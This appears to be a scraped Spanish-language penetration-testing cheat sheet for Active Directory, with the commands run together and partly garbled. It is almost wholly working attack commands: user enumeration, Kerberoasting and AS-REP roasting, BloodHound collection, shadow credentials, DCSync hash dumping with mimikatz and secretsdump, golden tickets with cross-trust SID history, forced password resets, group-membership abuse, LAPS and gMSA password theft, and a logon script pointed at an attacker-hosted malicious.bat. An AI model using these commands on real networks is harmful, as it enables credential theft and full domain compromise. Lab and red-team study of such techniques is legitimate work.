Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...



NSrpcenum -e DUsers -i 10.10.10.10# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. No se necesitan credenciales.
for i in $(seq 1000 1500); do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'# Fuerza bruta para enumerar usuarios a través de Kerberos mediante un diccionario
kerbrute userenum --dc 10.10.10.10 -d dominio.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
# Validar si usuarios son válidos a nivel de dominio con un listado de posibles usuarios
kerbrute userenum --dc 10.10.10.10 -d dominio.htb possible_users.txtnxc smb 10.10.10.10 -u 'guest' -p '' --rid-brutenxc ldap dc.dominio.htb -u users.txt -p '' -kridenum 10.10.10.10 500 10000 guest ''# Enumeración de usuarios con el usuario 'guest' a través de lookupsid
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass
# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass | grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'# Enumerar el LDAP entero y quedarnos solamente con los nombres de los usuarios
ldapdomaindump -u 'dominio.htb\user' -p 'password' 10.10.10.10 -o ldap; cd ldap; echo; cat domain_users.grep | awk '{print $1}' | tail -n +2rpcenum -e DUsers -i 10.10.10.10 -u 'user' -p 'password'# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. Necesario disponer de credenciales.
for i in $(seq 1000 1500); do rpcclient -U "user%password" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'# Obtener usuarios del dominio a través de RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute
# Obtener solamente el listado de usuarios al realizar RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute | grep SidTypeUser | rev | awk '{print $2}' | rev | awk '{print $2}' FS='\\'
# Enumeración de usuarios a través de LDAP
nxc ldap 10.10.10.10 -u 'user' -p 'password' --users# Enumeración de usuarios con lookupsid con credenciales válidas.
impacket-lookupsid dominio.htb/'usuario':'password'@10.10.10.10
# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/'usuario':'password'@10.10.10.10| grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'# Enumeración de todos los usuarios del DA a través de autenticación simple (NTLM)
ldapsearch -H ldap://10.10.10.10 -D 'user@dominio.htb' -w 'password' -b "DC=dominio,DC=htb" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}'
# Enumeración de todos los usuarios del DA a través de autenticación Kerberos
ldapsearch -H ldap://dc.dominio.htb -Y GSSAPI -b "DC=dominio,DC=htb" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}'Import-Module .\PowerView.ps1
Get-DomainUser -SPN -Domain CORP.LOCAL | select SamAccountName.\Rubeus.exe kerberoast /domain:CORP.LOCAL /user:mssqlsvc /nowrapPS C:\> Import-Module .\PowerView.ps1
PS C:\> Get-DomainForeignGroupMember -Domain CORP.LOCAL
GroupDomain : CORP.LOCAL
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=CORP,DC=LOCAL
MemberDomain : CORP.LOCAL
MemberName : S-1-5-21-3842939050-3880317879-2865463114-500
MemberDistinguishedName : CN=S-1-5-21-3842939050-3880317879-2865463114-500,CN=ForeignSecurityPrincipals,DC=CORP,DC=LOCAL
PS C:\> Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500
CORPORATE\administratorPS C:\htb> Enter-PSSession -ComputerName DC03.CORP.LOCAL -Credential CORPORATE\administrator
[DC03.CORP.LOCAL]: PS C:\Users\administrator.CORPORATE\Documents> whoami
inlanefreight\administrator
[DC03.CORP.LOCAL]: PS C:\Users\administrator.CORPORATE\Documents> ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : DC03
Primary Dns Suffix . . . . . . . : CORP.LOCAL
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : CORP.LOCALGetUserSPNs.py CORP.LOCAL/user:'password' -request -target-domain CORPORATE.LOCAL -dc-ip 10.10.10.10.\mimikatz.exe "lsadump::dcsync /user:CHILD\krbtgt" exitImport-Module .\PowerView.ps1
Get-DomainSIDGet-DomainGroup -Domain PARENT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid.\mimikatz.exe "kerberos::golden /user:hacker /domain:CHILD.PARENT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt" exit.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /pttklist.\mimikatz.exe "lsadump::dcsync /user:PARENT\Administrator /domain:PARENT.LOCAL" exitsecretsdump.py child.parent.local/user:'password'@192.168.14.122 -just-dc-user CHILD/krbtgtlookupsid.py child.parent.local/user:'password'@192.168.14.122 | grep "Domain SID"lookupsid.py child.parent.local/user:'password'@192.168.14.5 | grep -B12 "Enterprise Admins"ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain CHILD.PARENT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hackerexport KRB5CCNAME=$(pwd)/hacker.ccachepsexec.py CHILD.PARENT.LOCAL/hacker@dc01.parent.local -k -no-pass -target-ip 192.168.14.5raiseChild.py -target-exec 192.168.14.5 CHILD.PARENT.LOCAL/user:'password'





















































# AS-REP Roasting a través de un listado de usuarios en 'users.txt'
impacket-GetNPUsers -no-pass -usersfile users.txt dominio.htb/ 2>/dev/null
# AS-REP Roasting para un usuario en concreto
impacket-GetNPUsers dominio.htb/usuer -no-pass 2>/dev/nullsudo apt install bloodhound.py -ypip install bloodhoundpipx install bloodhoundgit clone https://github.com/dirkjanm/BloodHound.py
pip install .sudo timedatectl set-ntp 0
sudo ntpdate -s 10.10.10.10bloodhound-python -u 'user' -p 'Gzzcoo123' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c Allbloodhound-python -u 'user' --hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c Allbloodhound-python -u 'user' -k -no-pass -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All --auth-method kerberoscargo install rusthound-cerusthound -d dominio.htb -i 10.10.10.10 -u 'user@domino.htb' -p 'Password01!' -zrusthound -d dominio.htb -i 10.10.10.10 -u 'user@domino.htb' -p 'Password01!' -z --adcs --old-bloodhoundrusthound -d dominio.htb -i 10.10.10.10 -k -f dc01.dominio.htb -zrusthound -d dominio.htb -i 10.10.10.10 -k -f dc01.dominio.htb -z --adcs --old-bloodhoundIEX(New-Object Net.WebClient).downloadString("https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/master/Collectors/SharpHound.ps1"). .\SharpHound.ps1Import-Module .\SharpHound.ps1Invoke-BloodHound -CollectionMethods All -Domain contoso.com.\SharpHound.exe --CollectionMethods Allnxc ldap 10.10.10.10 -u 'user' -p 'Password01!' --bloodhound --collection All --dns-server 10.10.10.10nxc ldap 10.10.10.10 -u 'user' -H 'fbaa3e2294376dc0f5aeb6b41ffa52b7' --bloodhound --collection All --dns-server 10.10.10.10nxc ldap dc.dominio.htb -u 'user' -p 'password' -k --bloodhound --collection All --dns-server 10.10.10.10nxc ldap dc.dominio.htb --usekcache --bloodhound --collection All --dns-server 10.10.10.10certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10 -scheme ldapcertipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10 -scheme ldapcertipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldapcertipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debugcertipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldapcertipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldapcertipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldapcertipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debugsudo apt update -y && sudo apt install docker-compose -ycurl -L https://ghst.ly/getbhce -o docker-compose.yml# Copyright 2023 Specter Ops, Inc.
#
# Licensed under the Apache License, Version 2.0
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0
services:
app-db:
image: docker.io/library/postgres:16
environment:
- PGUSER=${POSTGRES_USER:-bloodhound}
- POSTGRES_USER=${POSTGRES_USER:-bloodhound}
- POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-bloodhoundcommunityedition}
- POSTGRES_DB=${POSTGRES_DB:-bloodhound}
# Database ports are disabled by default. Please change your database password to something secure before uncommenting
# ports:
# - 127.0.0.1:${POSTGRES_PORT:-5432}:5432
volumes:
- postgres-data:/var/lib/postgresql/data
healthcheck:
test:
[
"CMD-SHELL",
"pg_isready -U ${POSTGRES_USER:-bloodhound} -d ${POSTGRES_DB:-bloodhound} -h 127.0.0.1 -p 5432"
]
interval: 10s
timeout: 5s
retries: 5
start_period: 30s
graph-db:
image: docker.io/library/neo4j:4.4.42
environment:
- NEO4J_AUTH=${NEO4J_USER:-neo4j}/${NEO4J_SECRET:-bloodhoundcommunityedition}
- NEO4J_dbms_allow__upgrade=${NEO4J_ALLOW_UPGRADE:-true}
# Database ports are disabled by default. Please change your database password to something secure before uncommenting
ports:
- 127.0.0.1:${NEO4J_DB_PORT:-7687}:7687
- 127.0.0.1:${NEO4J_WEB_PORT:-7474}:7474
volumes:
- ${NEO4J_DATA_MOUNT:-neo4j-data}:/data
healthcheck:
test:
[
"CMD-SHELL",
"wget -O /dev/null -q http://localhost:7474 || exit 1"
]
interval: 10s
timeout: 5s
retries: 5
start_period: 30s
bloodhound:
image: docker.io/specterops/bloodhound:${BLOODHOUND_TAG:-latest}
environment:
- bhe_disable_cypher_complexity_limit=${bhe_disable_cypher_complexity_limit:-false}
- bhe_enable_cypher_mutations=${bhe_enable_cypher_mutations:-false}
- bhe_graph_query_memory_limit=${bhe_graph_query_memory_limit:-2}
- bhe_database_connection=user=${POSTGRES_USER:-bloodhound} password=${POSTGRES_PASSWORD:-bloodhoundcommunityedition} dbname=${POSTGRES_DB:-bloodhound} host=app-db
- bhe_neo4j_connection=neo4j://${NEO4J_USER:-neo4j}:${NEO4J_SECRET:-bloodhoundcommunityedition}@graph-db:7687/
- bhe_recreate_default_admin=${bhe_recreate_default_admin:-false}
- bhe_graph_driver=${GRAPH_DRIVER:-neo4j}
### Add additional environment variables you wish to use here.
### For common configuration options that you might want to use environment variables for, see `.env.example`
### example: bhe_database_connection=${bhe_database_connection}
### The left side is the environment variable you're setting for bloodhound, the variable on the right in `${}`
### is the variable available outside of Docker
ports:
### Default to localhost to prevent accidental publishing of the service to your outer networks
### These can be modified by your .env file or by setting the environment variables in your Docker host OS
- ${BLOODHOUND_HOST:-127.0.0.1}:${BLOODHOUND_PORT:-8080}:8080
### Uncomment to use your own bloodhound.config.json to configure the application
# volumes:
# - ./bloodhound.config.json:/bloodhound.config.json:ro
depends_on:
app-db:
condition: service_healthy
graph-db:
condition: service_healthy
volumes:
neo4j-data:
postgres-data:sudo docker-compose up -dsudo docker pssudo docker logs bloodhound-ce_bloodhound_1sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml startsudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml stopsudo apt update -y && sudo apt install bloodhound neo4j -ysudo neo4j consolebloodhound > /dev/null 2>&1 & disownsudo neo4j consolebloodhound > /dev/null 2>&1 & disowncertipy-ad shadow auto -username 'attacker' -p 'Password01!' -account 'victim' -dc-ip 10.10.10.10certipy-ad shadow auto -username 'attacker' -hashes '01e97f85894e06a5ad698f624b9a7ee9' -account 'victim' -dc-ip 10.10.10.10certipy-ad shadow auto -k -no-pass -account 'victim' -dc-ip 10.10.10.10 -target DC01.domain.htb -dc-host DC01ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10ldap_shell domain.htb/attacker -hashes aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9 -dc-ip 10.10.10.10ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10get_ntlm victimbloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add shadowCredentials 'victim'bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add shadowCredentials 'victim'bloodyAD --host dc.domain.htb -d domain.htb -k add shadowCredentials 'victim'python3 gettgtpkinit.py -cert-pem <file.cert.pem> -key-pem <file_priv.pem> domain.htb/victim <ticket.ccache>export KRB5CCNAME=$(pwd)/ticket.ccache
klistpython3 getnthash.py -key <key_step_2> domain.htb/victim# Asignar un SPN ficticio (cifs/gzzcoo) a la cuenta llamada 'target'.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName -v 'cifs/gzzcoo'
# Conseguir el ticket TGS del usuario que hemos hecho Kerberoastable.
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/'user':'password' -request-user 'target'
# Dejar el SPN vacío sobre el usuario que habíamos vuelto Kerberostable.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName
---------------------------------------------------------------------------------------
# A través de PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObject -Identity "TARGET" -Set 'servicePrincipalname=cifs/gzzcoo'
# Proceso automático, asigna un SPN a los usuarios que disponga permisos, te da el ticket TGS y luego deja al usuario tal y como estaba.
python3 targetedKerberoast.py --dc-ip 10.10.10.10 -d dominio.htb -u 'user' -p 'password'# Asegurarse de que el usuario víctimo no disponga de SPN
Get-DomainUser 'victimuser' | Select serviceprincipalname
# Configurar el SPN al usuario víctima
Set-DomainObject -Identity 'victimuser' -Set @{serviceprincipalname='cifs/gzzcoo'}
# Obtener el Kerberoast hash
$User = Get-DomainUser 'victimuser'
$User | Get-DomainSPNTicket | fl
# Borrar el SPN del usuario víctima para dejarlo como estaba
$User | Select serviceprincipalname
Set-DomainObject -Identity 'victimuser' -Clear serviceprincipalname# Asignamos al usuario 'target' la flag de (DONT_REQ_PREAUTH)
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add uac 'TARGET' -f DONT_REQ_PREAUTH
# Solicitamos el ticket TGT del usuario AS-REP Roastable
impacket-GetNPUsers dominio.htb/target -no-pass 2>/dev/null
# Volvemos a la normalidad al usuario AS-REP Roastable
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove uac 'TARGET' -f DONT_REQ_PREAUTH
---------------------------------------------------------------------------------------
# Desde PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=4260352'# NECESARIO DE IMPORTAR PowerView.ps1 Y ASREPRoast.ps1 EN EL EQUIPO WINDOWS VÍCTIMA
# Modificamos el userAccountControl (UAC) del usuario para volverlo AS-REP Roastable
Get-DomainUser username | ConvertFrom-UACValue
# Solicitamos el ticket TGT
Get-DomainUser username | ConvertFrom-UACValue
Get-ASREPHash -Domain dominio.htb -UserName username
# Dejamos por defecto el UAC del usuario
Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
Get-DomainUser username | ConvertFrom-UACValue# Modificamos la contrseña del usuario 'USER_TARGET' a 'Password01!' con bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con rpcclient
rpcclient -U 'user%password' 10.10.10.10 -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con net rpc
net rpc password "user_target" "Password01!" -U 'dominio.htb/user%password' -S 10.10.10.10
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'
---------------------------------------------------------------------------------------
# Verificamos que el cambio se ha realizado correctamente
nxc smb 10.10.10.10 -u 'USER_TARGET' -p 'Password01!'# Teniendo acceso a un equipo del dominio o DC, podemos modificar la contraseña del usuario
net user <user_target> Password01! /domain
# Desde PowerShell, creamos un objeto para nuestro usuario en caso de que no dispongamos de acceso con su usuario a la terminal, y cambiamos credenciales al usuario target
$SecPassword = ConvertTo-SecureString 'Password_Attacker' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\user_attacker',$SecPassword)
$NewPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'dominio.htb\user_target' -AccountPassword = $NewPass -Credential $Cred# Asignamos al usuario 'TARGET' un script malicioso que se ejecutará cuando inicie sesión
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'@ Asignamos al usuario 'target' que ejecute un script malicioso ubicado en el mismo equipo víctima
Set-DomainObject -Identity 'target' -SET @{scriptpath='C:\ProgramData\test\test.ps1'}# Disponemos de permisos de GenericAll sobre el grupo, por lo tanto nos agregamos a nosotros al grupo
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add groupMember 'Domain Admins' 'user'
# Añadir a usuario 'UserToAdd' a un grupo donde tenemos permisos de GenericAll
net rpc group ADDMEM 'GROUP TARGET' 'UserToAdd' -U 'user%password' -W dominio.htb -I 10.10.10.10
# Añadir usuario 'target' al grupo 'Group_target'
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Add-DomainGroupMember -Identity 'Group_target' -Members 'target'net group 'GROUP TARGET' 'USER_TARGET' /add /domain# Teniendo permisos de WriteDACL sobre el dominio, podemos dar permisos de DCSync a cualquier usuario
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'
# Una vez el usuario tenga los permisos de DCSync, hacemos un dump del NTDS.dit
impacket-secretsdump dominio.htb/'user':'password'@10.10.10.10 -dc-ip 10.10.10.10 -just-dc-ntlm
# Volvemos a asignar al usuario víctima en el estado anterior
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove dcsync 'OBJECT_TARGET'# Otorgar permisos de DCSync a la identidad 'user_target'
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\hacker', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=dominio,DC=htb' -Rights DCSync -PrincipalIdentity 'user_target' -Verbose -Domain dominio.htb# Con WriteDACL en un grupo, otorgamos a un usuario permisos de control total sobre el grupo
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add genericAll 'cn=GROUP_TARGET,dc=dominio,dc=htb' 'user'
# Quitamos el permiso de genericAll para dejarlo como antes
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove genericAll 'cn=GROUP_TARGET,dc=dominio,dc=htb' 'user'# Añadirnos al grupo con comandos nativos de Windows
net group 'GROUP_TARGET' 'user_target' /add /domain
# A través de PowerSploit para darnos permisos de WriteMember sobre el grupo
ADd-DomainObjectAcl -TargetIdentity 'GROUP_TARGET' -Rights WriteMembers -PrincipalIdentity 'user_target'# Nos convertimos en propietario del objeto.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set owner 'OBJECT_TARGET' 'USER_TARGET'
# Para garantizar el control total, al ser propietarios nos otorgamos genericAll sobre el objeto.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'usuario' -p 'password' add genericAll 'OBJECT_TARGET' 'USER_TARGET'
-----------
# Convertir en propietario el usuario 'user_target' del objeto 'object_target'
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObjectOwner -TargetIdentity 'object_target' -PrincipalIdentity 'user_target'# Necesario de importar PowerView.ps1
$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\hacker', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "object_target" -PrincipalIdentity 'user_target'
ADd-DomainObjectAcl -TargetIdentity 'object_target' -Rights WriteMembers -PrincipalIdentity 'user_target'# Leer la contraseña LAPS a través de bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
# Leer la contraseña LAPS a través de nxc
nxc ldap 10.10.10.10 -u 'user' -p 'password' -M laps
# Leer la contraseña LAPS a través de LAPSDumper
python3 laps.py -u 'user' -p 'password' -d dominio.htb# Leer la contraseña LAPS a través de PowerShell (comando nativo)
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
# Leer la contraseña LAPS a través de Get-LAPSPasswords.ps1
Get-LAPSPasswords -DomainController 10.10.10.10 -Credential dominio.htb\user| Format-Table -AutoSize# Leer la contraseña GMSA a través de bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get object 'TARGET' --attr msDS-ManagedPassword
# Leer la contraseña GMSA a través de nxc
nxc ldap 10.10.10.10 -u 'user' -p 'password' --gmsa
# Leer la contraseña GMSA a través de gMSADumper
python3 gMSADumper.py -u 'user' -p 'password' -d dominio.htb
# Leer la contraseña GMSA a través de PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Get-GMSA# Modificamos la contrseña del usuario 'USER_TARGET' a 'Password01!' con bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con rpcclient
rpcclient -U 'user%password' 10.10.10.10 -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con net rpc
net rpc password "user_target" "Password01!" -U 'dominio.htb/user%password' -S 10.10.10.10
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'
---------------------------------------------------------------------------------------
# Verificamos que el cambio se ha realizado correctamente
nxc smb 10.10.10.10 -u 'USER_TARGET' -p 'Password01!'# Teniendo acceso a un equipo del dominio o DC, podemos modificar la contraseña del usuario
net user <user_target> Password01! /domain
# Desde PowerShell, creamos un objeto para nuestro usuario en caso de que no dispongamos de acceso con su usuario a la terminal, y cambiamos credenciales al usuario target
$SecPassword = ConvertTo-SecureString 'Password_Attacker' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\user_attacker',$SecPassword)
$NewPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'dominio.htb\user_target' -AccountPassword = $NewPass -Credential $Cred# Nos otorgamos FullControl sobre la OU llamada TESTERS
impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'username' -target-dn 'ou=testers,dc=dominio,dc=htb' 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10 2>/dev/null
# Verificamos que disponemos de FullControl sobre la OU llamada TESTERS
impacket-dacledit -action 'read' -principal 'username' -target-dn 'ou=testers,dc=dominio,dc=htb' 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10 2>/dev/null# User/Password Authentication
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add groupMember 'targetGroup' 'targetUser'
# Pass-the-Hash (PtH) Authentication
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' add groupMember 'targetGroup' 'targetUser'
# Kerberos Authentication (.ccache)
bloodyAD --host dc.domain.htb -d domain.htb -k add groupMember 'targetGroup' 'targetUser'# Authentication
# ---------------------------------------------------------------------------------- #
## User/Password Authentication ##
powerview domain.htb/attacker:'Password01!'@10.10.10.10 --dc-ip 10.10.10.10
## Pass-the-Hash (PtH) Authentication ##
powerview domain.htb/attacker@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10
## Kerberos Authentication (.ccache) ##
powerview domain.htb/attacker@dc.domain.htb -k --no-pass --dc-ip 10.10.10.10
# Command to use
Add-DomainGroupMember -Identity 'targetGroup' -Members 'targetUser'# User/Password Authentication
net rpc group ADDMEM 'targetGroup' 'targetUser' -U 'attacker%Password01!' -W domain.htb -I 10.10.10.10
# Pass-the-Hash (PtH) Authentication
net rpc group ADDMEM 'targetGroup' 'targetUser' -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -W domain.htb -I 10.10.10.10# User/Password Authentication
pth-net rpc group addmem 'targetGroup' 'targetUser' -U 'attacker%Password01!' -W domain.htb -I 10.10.10.10
# Pass-the-Hash (PtH) Authentication
pth-net rpc group addmem 'targetGroup' 'targetUser' -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -W domain.htb -I 10.10.10.10# Create add-user-to-group.ldif indicating the DN (of the targetGroup) and the member to add
❯ cat add-user-to-group.ldif
dn: CN=targetGroup,CN=USERS,DC=DOMAIN,DC=HTB
changetype: modify
add: member
member: CN=VICTIM,CN=USERS,DC=DOMAIN,DC=HTB
# Execute command
❯ ldapmodify -x -H ldap://10.10.10.10 -D "CN=attacker,CN=Users,DC=domain,DC=htb" -w 'Password01!' -f add-user-to-group.ldif
# Oneliner alternative method without .ldif
printf 'dn: CN=targetGroup,CN=USERS,DC=domain,DC=htb\nchangetype: modify\nadd: member\nmember: CN=VICTIM,CN=USERS,DC=domain,DC=htb\n' | ldapmodify -x -H ldap://10.10.10.10 -D "CN=attacker,CN=Users,DC=domain,DC=htb" -w 'Password01!'# Authentication
# ---------------------------------------------------------------------------------- #
## User/Password Authentication ##
ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10
## Pass-the-Hash (PtH) Authentication ##
ldap_shell domain.htb/attacker -hashes 'aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10
## Kerberos Authentication (.ccache) ##
ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10
# Command to use
add_user_to_group targetUser targetGroupnet group 'targetGroup' 'targetUser' /add /domain# User/Password Authentication
.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add groupMember 'targetGroup' 'targetUser'
# Pass-the-Hash (PtH) Authentication
.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' add groupMember 'targetGroup' 'targetUser'
